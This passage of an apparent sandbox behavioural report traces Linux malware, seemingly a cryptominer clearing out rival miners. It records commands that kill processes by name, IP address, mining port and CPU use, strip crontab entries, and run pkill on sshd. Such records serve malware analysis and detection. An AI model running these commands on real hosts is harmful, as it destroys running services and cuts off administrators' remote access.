  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1447
- /bin/grep
  grep exe
  2⤵
  PID:1450
- /bin/ls
  ls -latrh /proc/vmstat
  2⤵
  PID:1449
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1452
- /bin/grep
  grep exe
  2⤵
  PID:1455
- /bin/ls
  ls -latrh /proc/zoneinfo
  2⤵
  PID:1454
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1457
- /bin/grep
  grep /dot
  2⤵
  PID:1459
- /bin/grep
  grep -v grep
  2⤵
  PID:1460
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1458
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1462
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1461
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads runtime system information
  PID:1463
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1467
- /bin/grep
  grep -v grep
  2⤵
  PID:1466
- /bin/grep
  grep tracepath
  2⤵
  PID:1465
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1468
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1464
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  PID:1469
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1473
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1474
- /bin/grep
  grep -v grep
  2⤵
  PID:1472
- /bin/grep
  grep ./ll1
  2⤵
  PID:1471
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1470
- /bin/grep
  grep -i "[a]liyun"
  2⤵
  - Attempts to change immutable files
  PID:1476
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1475
- /bin/grep
  grep -i "[y]unjing"
  2⤵
  - Attempts to change immutable files
  PID:1478
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1477
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1482
- /bin/grep
  grep -v grep
  2⤵
  PID:1481
- /bin/grep
  grep "php-fpm pool www"
  2⤵
  PID:1480
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1483
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1479
- /bin/grep
  grep -v grep
  2⤵
  PID:1486
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1487
- /bin/grep
  grep "Cli start accept"
  2⤵
  PID:1485
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1488
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1484
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1492
- /bin/grep
  grep -v grep
  2⤵
  PID:1491
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1493
- /bin/grep
  grep "bash -k"
  2⤵
  PID:1490
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1489
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1497
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1498
- /bin/grep
  grep -v grep
  2⤵
  PID:1496
- /bin/grep
  grep perfctl
  2⤵
  PID:1495
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1494
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:1500
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1503
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1501
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1502
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1506
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1508
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:1505
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1507
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1511
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1512
- /bin/grep
  grep -v -
  2⤵
  PID:1513
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:1510
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1514
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1517
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1518
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:1516
- /bin/grep
  grep -v -
  2⤵
  PID:1519
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1520
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1523
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1522
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1526
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1524
- /bin/grep
  grep -v -
  2⤵
  PID:1525
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1532
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1528
- /bin/grep
  grep -v -
  2⤵
  PID:1531
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1530
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1529
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  PID:1533
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:1537
- /bin/grep
  grep agetty
  2⤵
  PID:1535
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1538
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1534
- /bin/grep
  grep -v grep
  2⤵
  PID:1536
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  PID:1539
- /bin/sed
  sed /192.81.212.13/d
  2⤵
  PID:1541
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1540
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1542
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1545
- /bin/sed
  sed /base64/d
  2⤵
  PID:1544
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1543
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1548
- /bin/sed
  sed /python/d
  2⤵
  PID:1547
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1546
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1551
- /bin/sed
  sed /shm/d
  2⤵
  PID:1550
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1549
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1554
- /bin/sed
  sed /postgresql/d
  2⤵
  PID:1553
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1552
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1557
- /bin/sed
  sed /cloudfronts/d
  2⤵
  PID:1556
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1555
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1560
- /bin/sed
  sed /sshd/d
  2⤵
  PID:1559
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1558
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1563
- /bin/sed
  sed /linux/d
  2⤵
  PID:1562
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1561
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1566
- /bin/sed
  sed /neoogilvy/d
  2⤵
  PID:1565
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1564
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1569
- /bin/sed
  sed /rsync/d
  2⤵
  PID:1568
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1567
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1572
- /bin/sed
  sed /bpdeliver/d
  2⤵
  PID:1571
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1570
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1575
- /bin/sed
  sed /perfcc/d
  2⤵
  PID:1574
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1573
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1578
- /bin/sed
  sed /atdb/d
  2⤵
  PID:1577
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1576
- /usr/bin/pkill
  pkill -f sshd
  2⤵
  - Reads CPU attributes
  PID:1579
- /usr/bin/pkill
  pkill -f htop
  2⤵
  - Reads runtime system information
  PID:1580
- /usr/bin/pkill
  pkill -f linuxsys
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1582
- /usr/bin/pkill
  pkill -f kthreaddo
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1583
- /usr/bin/pkill
  pkill -f donkey
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1584
- /usr/bin/pkill
  pkill -f sysupdater
  2⤵
  PID:1585
- /usr/bin/pkill
  pkill -f php-update.service
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1586
- /usr/bin/pkill
  pkill -f update-setup
  2⤵
  PID:1587
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1590
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1591
- /bin/grep
  grep -v -
  2⤵
  PID:1592
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1593
- /bin/grep
  grep :1414
  2⤵
  PID:1589
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1595
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1597
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1596
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1599
- /bin/grep
  grep -v -
  2⤵
  PID:1598
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1602
- /bin/grep
  grep :143
  2⤵
  PID:1601
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1605
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1603
- /bin/grep
  grep -v -
  2⤵
  PID:1604
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1608
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1609
- /bin/grep
  grep -v -
  2⤵
  PID:1610
- /bin/grep
  grep :2222
  2⤵
  PID:1607
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1611
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1615
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1614
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1617
- /bin/grep
  grep -v -
  2⤵
  PID:1616
- /bin/grep
  grep :3333
  2⤵
  PID:1613
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1620
- /bin/grep
  grep -v -
  2⤵
  PID:1622
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1623
- /bin/grep
  grep :3389
  2⤵
  PID:1619
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1621
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1627
- /bin/grep
  grep -v -
  2⤵
  PID:1628
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1626
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1629
- /bin/grep
  grep :4444
  2⤵
  PID:1625
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1633
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1632
- /bin/grep
  grep -v -
  2⤵
  PID:1634
- /bin/grep
  grep :5555
  2⤵
  PID:1631
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1635
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1638
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1639
- /bin/grep
  grep -v -
  2⤵
  PID:1640
- /bin/grep
  grep :6666
  2⤵
  PID:1637
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1641
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1645
- /bin/grep
  grep -v -
  2⤵
  PID:1646
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1647
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1644
- /bin/grep
  grep :6665
  2⤵
  PID:1643
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1651
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1650
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1653
- /bin/grep
  grep :6667
  2⤵
  PID:1649
- /bin/grep
  grep -v -
  2⤵
  PID:1652
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1657
- /bin/grep
  grep -v -
  2⤵
  PID:1658
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1656
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1659
- /bin/grep
  grep :7777
  2⤵
  PID:1655
- /bin/grep
  grep -v -
  2⤵
  PID:1664
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1665
- /bin/grep
  grep :8444
  2⤵
  PID:1661
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1662
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1663
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1668
- /bin/grep
  grep -v -
  2⤵
  PID:1670
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1671
- /bin/grep
  grep :3347
  2⤵
  PID:1667
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1669
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1675
- /bin/grep
  grep :14444
  2⤵
  PID:1673
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1677
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1674
- /bin/grep
  grep -v -
  2⤵
  PID:1676
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1681
- /bin/grep
  grep -v -
  2⤵
  PID:1682
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1683
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1680
- /bin/grep
  grep :14433
  2⤵
  PID:1679
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1687
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1686
- /bin/grep
  grep -v -
  2⤵
  PID:1688
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1689
- /bin/grep
  grep :13531
  2⤵
  PID:1685
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Attempts to change immutable files
  PID:1690
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1692
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1691
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Attempts to change immutable files
  PID:1693
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1695
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1694
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Attempts to change immutable files
  PID:1696
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1698
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1697
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  PID:1699
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1700
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1701
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Attempts to change immutable files
  PID:1702
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1704
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1703
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Attempts to change immutable files
  PID:1705
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1707
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1706
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:1708
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:1709
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:1710
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Attempts to change immutable files
  PID:1711
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1713
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1712
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Attempts to change immutable files
  PID:1714
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1716
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1715
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  PID:1717
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1719
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1718
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Attempts to change immutable files
  PID:1720
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:1721
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1722
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Attempts to change immutable files
  PID:1723
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1725
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:1724
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  PID:1726
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1727
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:1728
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  PID:1729
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads runtime system information
  PID:1730
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1731
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  PID:1732
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  PID:1733
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads runtime system information
  PID:1734
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  PID:1735
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1736
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  PID:1737
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:1738
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  PID:1739
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1740
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  PID:1741
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1742
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  PID:1743
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:1744
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  PID:1745
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:1746
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  PID:1747
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1748
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1749
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1750
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  PID:1751
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  PID:1752
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:1753
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  PID:1754
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  PID:1755
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads runtime system information
  PID:1756
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads runtime system information
  PID:1757
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads runtime system information
  PID:1758
- /bin/grep
  grep -v grep
  2⤵
  PID:1761
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1762
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1763
- /bin/grep
  grep ./udp
  2⤵
  PID:1760
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1759
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1767
- /bin/grep
  grep -v grep
  2⤵
  PID:1766
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1768
- /bin/grep
  grep ./oka
  2⤵
  PID:1765
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1764
- /bin/grep
  grep -v grep
  2⤵
  PID:1771
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1772
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1773
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1770
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1769
- /bin/grep
  grep -v bin
  2⤵
  PID:1776
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1777
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1775
- /bin/grep
  grep -v "("
  2⤵
  PID:1778
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1779
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1774
- /bin/grep
  grep -v postgres
  2⤵
  PID:1781
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1780
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1783
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1782
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1784
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1785
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1789
- /bin/grep
  grep -v bin
  2⤵
  PID:1788
- /bin/grep
  grep -v "("
  2⤵
  PID:1790
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1787
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1792
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1791
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1786
- /bin/grep
  grep -v postgres
  2⤵
  PID:1793
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1794
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1795
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1796
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1800
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1798
- /bin/grep
  grep -v "("
  2⤵
  PID:1801
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  PID:1797
- /bin/grep
  grep -v bin
  2⤵
  PID:1799
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1802
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1803
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1805
- /bin/grep
  grep -v postgres
  2⤵
  PID:1804
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1807
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1806
- /bin/grep
  grep -v grep
  2⤵
  PID:1809
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1810
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1808
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1811
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1812
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1817
- /bin/grep
  grep "sleep 60"
  2⤵
  PID:1814
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1816
- /bin/grep
  grep -v grep
  2⤵
  PID:1815
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1813
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1821
- /bin/grep
  grep -v grep
  2⤵
  PID:1820
- /bin/grep
  grep ./crun
  2⤵
  PID:1819
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
